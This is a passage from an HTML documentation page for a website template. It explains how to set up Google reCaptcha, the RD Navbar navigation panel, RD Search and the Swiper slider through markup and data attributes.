ReCaptcha, you should:</p> <ul class="list-marked"> <li>Register your domain at Google reCaptcha website and get a pair of API-keys (a pair of keys consists of site key and secret).</li> <li>Specify your API-keys in bat/reCaptcha.php file in $siteKey and $secret variables at the beginning of the file: <pre class="prettyprint linenums">$siteKey = 'You site key here'; $secret = 'You secret key here';</pre> </li> <li>Paste this section to html and specify your site key in <b>data-attribute data-sitekey="" </b> </li> </ul> <p>You can find more detailed instructions at Google ReCaptcha official website.</p> <h4>Google ReCaptcha Marking</h4> <p>The basic marking for ReCaptcha looks the following way:</p> <pre class="prettyprint linenums"><!--Google captcha--> <div class="form-wrap"> <div id="captcha1" data-sitekey="You site key here" class="recaptcha"></div> </div> <!-- End google captcha--></pre> <p class="alert alert-warning">Pay attention: id attribute and .recaptcha class are required.</p> <h4>Google ReCaptcha Setup</h4> <p>Google Recaptcha supports the following settings:</p> <ul class="list-marked"> <li>Changing size;</li> <li>Changing color scheme.</li> </ul> <h4>Changing Google ReCaptcha Size</h4> <p>To change widget size, specify in data-attribute data-size one of the following size values:</p> <ul class="list-marked"> <li>compact;</li> <li>normal (default).</li> </ul> <p>The sample code looks the following way:</p> <pre class="prettyprint linenums"><!--Google captcha--> <div class="form-wrap"> <div id="captcha1" data-sitekey="You site key here" data-size="compact" class="recaptcha"></div> </div> <!-- End google captcha--></pre> <h4>Changing Google ReCaptcha widget color scheme</h4> <p>To change widget color scheme, specify in the data-attribute <b>data-theme</b> one of the following variants:</p> <ul class="list-marked"> <li>dark;</li> <li>light (default).</li> </ul> <p> Sample code looks the following way:</p> <pre class="prettyprint linenums"><!--Google captcha--> <div class="form-wrap"> <div id="captcha1" data-sitekey="You site key here" data-theme="dark"class="recaptcha"></div> </div> <!-- End google captcha--></pre> </div> </div> </div> <div class="main-section-item" id="rd-navbar" data-type="anchor"> <div class="main-title"> <h3>RD Navbar. Navigation panel</h3> </div> <div class="box"> <div class="box-content"><a class="gallery-item" data-lightgallery="item" href="images/rd-navbar.jpg"><img src="images/rd-navbar.jpg" alt=""/></a> <p>HTML Website Templates use <b>RD Navbar</b> extension to implement site navigation functionality. Basic HTML code structure for this extension looks as follows:</p> <pre class="prettyprint linenums"><!-- RD Navbar --> <div class="rd-navbar-wrap"> <nav class="rd-navbar" data-lg-layout="rd-navbar-static"> <div class="rd-navbar-inner"> <!-- RD Navbar Collapse --> <div class="rd-navbar-collapse"> <button class="rd-navbar-collapse-toggle"> <span></span> </button> <ul class="rd-navbar-collapse-items list"> <li> ... </li> </ul> </div> <!-- END RD Navbar Collapse --> <!-- RD Navbar Panel --> <div class="rd-navbar-panel"> <!-- RD Navbar Toggle --> <button class="rd-navbar-toggle"><span></span></button> <!-- END RD Navbar Toggle --> <!-- RD Navbar Brand --> <div class="rd-navbar-brand"> ... </div> <!-- END RD Navbar Brand --> </div> <!-- END RD Navbar Panel --> <div class="rd-navbar-nav-wrap"> <!-- RD Navbar Search --> <div class="rd-navbar-search"> <form class="rd-navbar-search-form" action="search.php" method="GET"> <label class="rd-navbar-search-form-input"> <input type="text" name="s" placeholder="Search.." autocomplete="off"/> </label> <button class="rd-navbar-search-form-submit" type="submit"></button> </form> <span class="rd-navbar-live-search-results"></span> <button class="rd-navbar-search-toggle"></button> </div> <!-- END RD Navbar Search --> <!-- RD Navbar Nav --> <ul class="rd-navbar-nav"> <li> ... </li> <li> ... <!-- RD Navbar Dropdown --> <ul class="rd-navbar-dropdown"> <li> ... </li> </ul> <!-- END RD Navbar Dropdown --> </li> <li> ... <!-- RD Navbar Megamenu --> <ul class="rd-navbar-megamenu"> <li> ... </li> </ul> <!-- END RD Navbar Megamenu --> </li> </ul> <!-- END RD Navbar Nav --> </div> </div> </nav> </div> <!-- END RD Navbar --></pre> <p class="alert alert-warning">Please, note: navbar HTML structure might differ depending on exact template design specifications.</p> <h4>Navbar layout configuration</h4> <p>HTML Website Templates navbar works with 4 different layouts:</p> <ul class="list-marked"> <li><b>Static</b> - rd-navbar-static </li> <li><b>Wide</b> - rd-navbar-fullwidth </li> <li><b>Mobile</b> - rd-navbar-fixed </li> <li><b>Sidebar</b> - rd-navbar-sidebar </li> </ul> <p>In order to change layout for corresponding navigation panel you should just alter <b>“data-layout”</b> attribute value.</p> <p>In order to enable/disable stick-up dropdown menu just edit <b>“data-stick-up”</b> attribute value (true/false).</p> <p>In order to enable/disable dropdown menu on hover just edit <b>“data-hover-on”</b> attribute value (true/false).</p> <pre class="prettyprint linenums"><div class="rd-navbar-wrap"> <nav class="rd-navbar" data-layout="rd-navbar-fixed" data-hover-on="false" data-stick-up="false"> ... </nav> </div></pre> <p class="alert alert-warning">Please note: data attributes <b>data-layout</b>, <b>data-stick-up</b>, <b>data-hover-on</b> can be defined for all main dimension types as <b>data-xx-layout</b>, <b>data-xx-stick-up</b>, <b>data-xx-hover-on</b> (where <b>xx</b> can take <b>xs</b>, <b>sm</b>, <b>md</b>. <b>lg</b> values). Navigation panel appearance for lower resolutions is defined by template design specifics only.</p> <h4>Dropdown menu configuration</h4> <p>In order to define navigation panel dropdown menu, you should just add <b>rd-navbar-dropdown</b> class to corresponding submenu item.</p> <pre class="prettyprint linenums"><div class="rd-navbar-wrap"> <nav class="rd-navbar" data-rd-navbar-lg="rd-navbar-static"> <ul class="rd-navbar-nav"> <li> <a href="#">Menu Link</a> <ul class="rd-navbar-dropdown"> <li> <a href="#">Submenu Link 1</a> </li> </ul> </li> </ul> </nav> </div></pre> <h4>Mega menu configuration</h4> <p>In order to define navigation panel mega menu you should add <b>rd-navbar-megamenu</b> class to corresponding submenu item.</p> <pre class="prettyprint linenums"><div class="rd-navbar-wrap"> <nav class="rd-navbar" data-rd-navbar-lg="rd-navbar-static"> <ul class="rd-navbar-nav"> <li> <a href="#">Menu Link</a> <ul class="rd-navbar-megamenu"> <li> … Your Custom HTML Content in 1 Column ... </li> <li> … Your Custom HTML Content in 2 Column ... </li> </ul> </li> </ul> </nav> </div></pre> <p>By default columns size and width are calculated automatically, based on space available. </p> </div> </div> </div> <!--include ../sections/_rd-range--> <div class="main-section-item" id="rd-search" data-type="anchor"> <div class="main-title"> <h3>RD Search</h3> </div> <div class="box"> <div class="box-content"><a class="gallery-item" data-lightgallery="item" href="images/rd-search.jpg"><img src="images/rd-search.jpg" alt=""/></a> <p>This plugin allows to implement the search on several pages with the ability to set up the layout for search results.</p> <p>The basic form marking should look the following way:</p> <pre class="prettyprint linenums prettyprint linenums"><form action="search-results.html" method="GET" class="rd-search"> <div class="form-wrap"> <label for="search" class="form-label">Type and hit enter...</label> <input id="search" type="text" name="s" autocomplete="off" class="form-input"/> </div> </form> </pre> <p>You can paste this marking in any desired place, <b>'rd-search'</b> class is required.</p> <p>This search allows to display results with any marking, but you should correctly set up all the target pages.</p> <h4>Search pages setup</h4> <p>All the setup is carried out in the <b>head</b> section of every page and is necessary for generating the search results template:</p> <pre class="prettyprint linenums"><head> ... </head> </pre> <h4>Title display in search results</h4> <p>To display the title in search results, specify it for every page inside the <b>title</b> tag:</p> <pre class="prettyprint linenums"><!-- Site Title--> <title>HTML Website Template</title> </pre> <h4>Keywords display in search results</h4> <p>To display keywords (tags) in search results, specify them for every page in <b>'content'</b> attribute of the <b><meta name="keywords"></b> tag:</p> <pre class="prettyprint linenums"><meta name="keywords" content="HTML Website Template web design multipurpose template"> </pre> <h4>Additional information display in search results</h4> <p>To display additional information in search results, specify it for every page in <b>meta</b> tag with <b>name</b> and <b>content</b> attributes, where <b>'name'</b> is the unique information name, and <b>'content'</b> is the information that should be displayed. For example, to display the page description, add the following tag:</p> <pre class="prettyprint linenums"><meta name="description" content="This page ..."></pre> <p>The amount of tags is unlimited.</p> <h4>Search form setup</h4> <p>Search setup is carried out on the target page in the form with <b>.rd-search</b> class:</p> <pre class="prettyprint linenums"><form action="search-results.html" method="GET" class="rd-search"> ... </form> </pre> <h4>Search filter setup</h4> <p>You can set up a filter, which specifies pages, on which the search should be carried out (by title). For example, to carry out search on HTML pages, the title of which contains <b>'blog'</b> word, use the following code:</p> <pre class="prettyprint linenums"><form action="search-results.html" method="GET" class="rd-search" data-search-filter="*blog*.html"> ... </form></pre> <p>The default search filter can be changed in <b>script.js</b> file in <b>defaultFilter</b> variable, which can be found in the code after the following comment:</p> <pre class="prettyprint linenums">/** * RD Search * @description Enables search */</pre> <h4>Live Search setup</h4> <p> You can enable live search to display search results without reloading the page. To do this, add the <b>data-search-live</b> attribute with <b>id</b> specification, which will display the result. For example: </p> <pre class="prettyprint linenums"><form action="search-results.html" method="GET" class="rd-search" data-search-live="search-results"> ... </form> <div id="search-results"></div> </pre> <h4>Search results template setup</h4> <p> Search results template is closely connected with the setup of the page described above, namely with specifying different meta-tags. You can set up the HTML markup for search results. To do this, add <b>data-search-template</b> attribute, to which you should add the corresponding marking for displaying the search results. The line support <b>rule</b> data transfer format. </p> <p>Here, <b>'rule'</b> is the <b>'name'</b> attribute of the meta-tag, which is specified on the page. There are 4 default values, which do not require meta-tags and display the necessary information:</p> <ul class="marked-list"> <li>title - contains the value of the'<b><title/></b> tag of the target page;</li> <li>tokens - contains a part of the found content of the target page, which meets the search results;'</li> <li>href - contains the path to the target page;'</li> <li>count - amount of the found instances on the page.'</li> </ul> <p>For example:</p> <pre class="prettyprint linenums"><form action="search-results.html" method="GET" class="rd-search" data-search-template=""> <div class="result-item"> <h3 class="title"><a href="href">title</a></h3> <p class="tags">in keywords</p> </div> ... </form> <div id="search-results"></div></pre> <p>The default search results template can be changed in <b>script.js</b> file in the <b>defaultTemplate</b> variable, which can be found in the code after the following comment:</p> <pre class="prettyprint linenums">/** * RD Search * @description Enables search */</pre> </div> </div> </div> <!--include ../sections/_slick-slider--> <div class="main-section-item" id="swiper-slider" data-type="anchor"> <div class="main-title"> <h3>Swiper - Slider</h3> </div> <div class="box"> <div class="box-content"><a class="gallery-item" data-lightgallery="item" href="images/swiper-slider.jpg"><img src="images/swiper-slider.jpg" alt=""/></a> <p>HTML Website Templates use <b>Swiper.js</b> extension to implement slider functionality to template pages with extended data-API for interaction.</p> <p>Default slider code structure appears as follows:</p> <pre class="prettyprint linenums"><!-- Swiper --> <div class="swiper-container swiper-slider" data-height="" data-min-height=""> <div class="swiper-wrapper"> <div class="swiper-slide" data-slide-bg=""> <div class="swiper-slide-caption"> </div> </div> <div class="swiper-slide" data-slide-bg=""> <div class="swiper-slide-caption"> </div> </div> <div class="swiper-slide" data-slide-bg=""> <div class="swiper-slide-caption"> </div> </div> </div> <!-- Swiper Pagination --> <div class="swiper-pagination"></div> <!-- Swiper Navigation --> <div class="swiper-button-prev"></div> <div class="swiper-button-next"></div> <!-- Swiper Scrollbar --> <div class="swiper-scrollbar"></div> </div> <!-- END Swiper --></pre> <h4>Slide background image configuration</h4> <p>Swiper slider height is set by using corresponding <b>data-height</b> and <b>data-min-height</b> attributes to target slider.</p> <ul class="list-marked"> <li><b>data-height</b> - defines requires slider height; </li> <li><b>data-min-height</b> - defines slider height minimum; </li> </ul> <p>You can set slider height (<b>data-height</b>, <b>data-min-height</b>) value in 3 formats:</p> <ul class="list-marked"> <li><b>*px</b> - defines static height, it will stay unchanged on screen resize; </li> <li><b>*%</b> - defines slider height as a percent of its width; </li> <li><b>*vh</b> - defines slider height as a percent of window height. </li> </ul> <p>Static height example.</p> <pre class="prettyprint linenums"><div class="swiper-container swiper-slider" data-height="500px"> ... </div></pre> <p>Slider percent example</p> <pre class="prettyprint linenums"><div class="swiper-container swiper-slider" data-height="50%" data-min-height="300px"> ... </div></pre> <p>Window height example</p> <pre class="prettyprint linenums"><div class="swiper-container swiper-slider" data-height="100vh" data-min-height="300px"> ... </div></pre> <p>In case you do not specify slider height, it will be calculated based on the embedded content.</p> <h4>Slider autoplay configuration</h4> <p>By default Swiper slider in HTML Website template has autoplay enabled. In order to disable it or change slides switching time you should use <b>data-autoplay</b> attribute by using false key or time value in milliseconds. It should be added to target item with <b>.swiper-slider</b> class.</p> <p>For example,</p> <pre class="prettyprint linenums"><div class="swiper-container swiper-slider" data-autoplay="false"> ... </div></pre> <p>or,</p> <pre class="prettyprint linenums"><div class="swiper-container swiper-slider" data-autoplay="3000"> ... </div></pre> <h4>Slider loop configuration</h4> <p>To loop the slide display in slider you should use the <b>data-loop</b> data attribute (true/false, by default it’s set to true) for target item with <b>.swiper-slider</b> class.</p> <p>For example,</p> <pre class="prettyprint linenums"><div class="swiper-container swiper-slider" data-direction="vertical"> ... </div></pre> <h4>Slider navigation setup</h4> <p>Swiper supports the display of “<b>Previous</b>” and “<b>Next</b>” buttons to manage slides appearance. In order to show them you should use the following code structure for target slider.</p> <pre class="prettyprint linenums"><div class="swiper-container swiper-slider"> <!-- Slider Navigation --> <div class="swiper-button-prev"></div> <div class="swiper-button-next"></div> </div></pre> <h4>Slider pagination setup</h4> <p>Swiper supports slider pagination display. In order to show it you should use the following code structure for target slider.</p> <pre class="prettyprint linenums"><div class="swiper-container swiper-slider"> <!-- Slider Pagination --> <div class="swiper-pagination"></div> </div></pre> <p>By default slider pagination is clickable. If you need to disable this feature you should define <b>data-clickable</b> attribute for corresponding slider pagination. </p> <pre class="prettyprint linenums"><div class="swiper-container swiper-slider"> <!-- Slider Pagination --> <div class="swiper-pagination" data-clickable="false"></div> </div></pre> <p>To show the numeric value for corresponding pagination point you should use <b>data-index-bullet=”true”</b> data attribute for target slider pagination.</p> <pre class="prettyprint linenums"><div class="swiper-container swiper-slider"> <!-- Slider Pagination --> <div class="swiper-pagination" data-index-bullet="true"></div> </div></pre> <h4>Scrollbar configuration</h4> <p>Swiper slider supports scrollbar display. In order to show them you should use the following code structure for target slider.</p> <pre class="prettyprint linenums"><div class="swiper-container swiper-slider"> <!-- Slider Scrollbar --> <div class="swiper-scrollbar"></div> </div></pre> <p>By default interaction with scrollbar is enabled. If you need to disable this feature you should define <b>data-draggable=”false”</b> data attribute for corresponding scrollbar in target slider code.</p> <pre class="prettyprint linenums"><div class="swiper-container swiper-slider"> <!-- Slider Scrollbar --> <div class="swiper-scrollbar" data-draggable="false"></div> </div></pre> <h4>Arrows management</h4> <p>Swiper slider allows to manage slides appearance by using keypad arrow buttons. In order to enable this option you should use <b>data-keyboard</b> data attribute for target slider.</p> <pre class="prettyprint linenums"><div class="swiper-container swiper-slider" data-keyboard="true"> ... </div></pre> <h4>Mouse management</h4> <p>Swiper slider supports slider management by using mouse. In order to enable this option you should use <b>data-mousewheel</b> data attribute for target slider.</p> <pre class="prettyprint linenums"><div class="swiper-container swiper-slider" data-mousewheel="true"> ... </div></pre> <p>By default this option blocks further page scrolling when first or last slide is reached. In order to disable page scrolling in this case you should use <b>data-mousewheel-release=”true”</b> data attribute for target slider. </p> <pre class="prettyprint linenums"><div class="swiper-container swiper-slider" data-mousewheel="true" data-mousewheel-release="true"> ... </div></pre> <h4>Slide parallax integration</h4> <p>В HTML Website Templates allow you to integrate <b>RD Parallax</b> parallax effect to target slide of your Swiper slider. In order to do this you should use the following markup :</p> <pre class="prettyprint linenums"><!-- Swiper --> <section class="rd-parallax rd-parallax-swiper"> <div class="rd-parallax-layer" data-speed="" data-sm-speed="" data-type="html"> <section class="swiper-container swiper-slider" data-parallax="true"> <div class="swiper-wrapper"> <!-- RD Parallax --> <div class="swiper-slide" data-slide-bg="images/page-1_img01.jpg"> </div> <div class="swiper-slide"></div> </div> </section> </div> </section></pre> <h4>Slide background video integration</h4> <p>HTML Website Templates allow you to integrate <b>Vide.js</b> background video to target slide of your Swiper slider. In order to do this you should use the following markup :</p> <pre class="prettyprint linenums"><div class="swiper-slide"> <div class="vide" data-vide-bg="video/video-bg"> <div class="swiper-caption swiper-parallax" data-speed="0.5" data-fade="true"></div> </div> </div></pre> <h4>Animate.css integration to slide elements</h4> <p>HTML Website Templates allow you to integrate <b>Animate.css</b> to slider elements. In order to do this you should define corresponding data attributes: <b>data-caption-animate</b> and <b>data-caption-delay</b> (to set delay if needed) for target slide. Delay time for <b>data-caption-delay</b> is set in milliseconds. You can use any animation effect, available in <b>Animate.css</b> as a target animation.</p> <pre class="prettyprint linenums"><div class="swiper-container swiper-slider"> <div class="swiper-wrapper"> <div class="swiper-slide"> <div class="swiper-slide-caption"> <h2 data-caption-animate="fadeUp">Your text goes here</h2> <p data-caption-animate="fadeUp" data-caption-delay="200"> Some other text goes here </p> </div> </div> </div> </div></pre> <h4>Sliding effect configuration</h4> <p>Swiper slider has few sliding effects available:</p> <ul class="list-marked"> <li><b>fade</b></li> <li><b>slide</b></li> <li><b>coverflow</b></li> <li><b>cube</b></li> </ul> <p>To change sliding effect, you should use corresponding <b>data-slide-effect</b> data attribute for target slider.</p> <pre class="prettyprint linenums"><div class="swiper-container swiper-slider" data-slide-effect="fade"> ... </div></pre> </div> </div> </div> <!--include ../sections/_rd-instafeed--> </div> </div> </div> </div> </section> <!-- Page Footer--> <footer class="section footer-classic context-dark"> <div class="shell text-right"> <!-- Rights--> <p class="rights"><span>© </span><span class="copyright-year"></span><span> </span><span>Myhome</span></p> </div> </footer> </div> <!-- Global Mailform Output--> <div class="snackbars" id="form-output-global"></div> <!-- Javascript--> <script src="js/core.min.js"></script> <script src="js/script.js"></script> </body> </html>
Simpan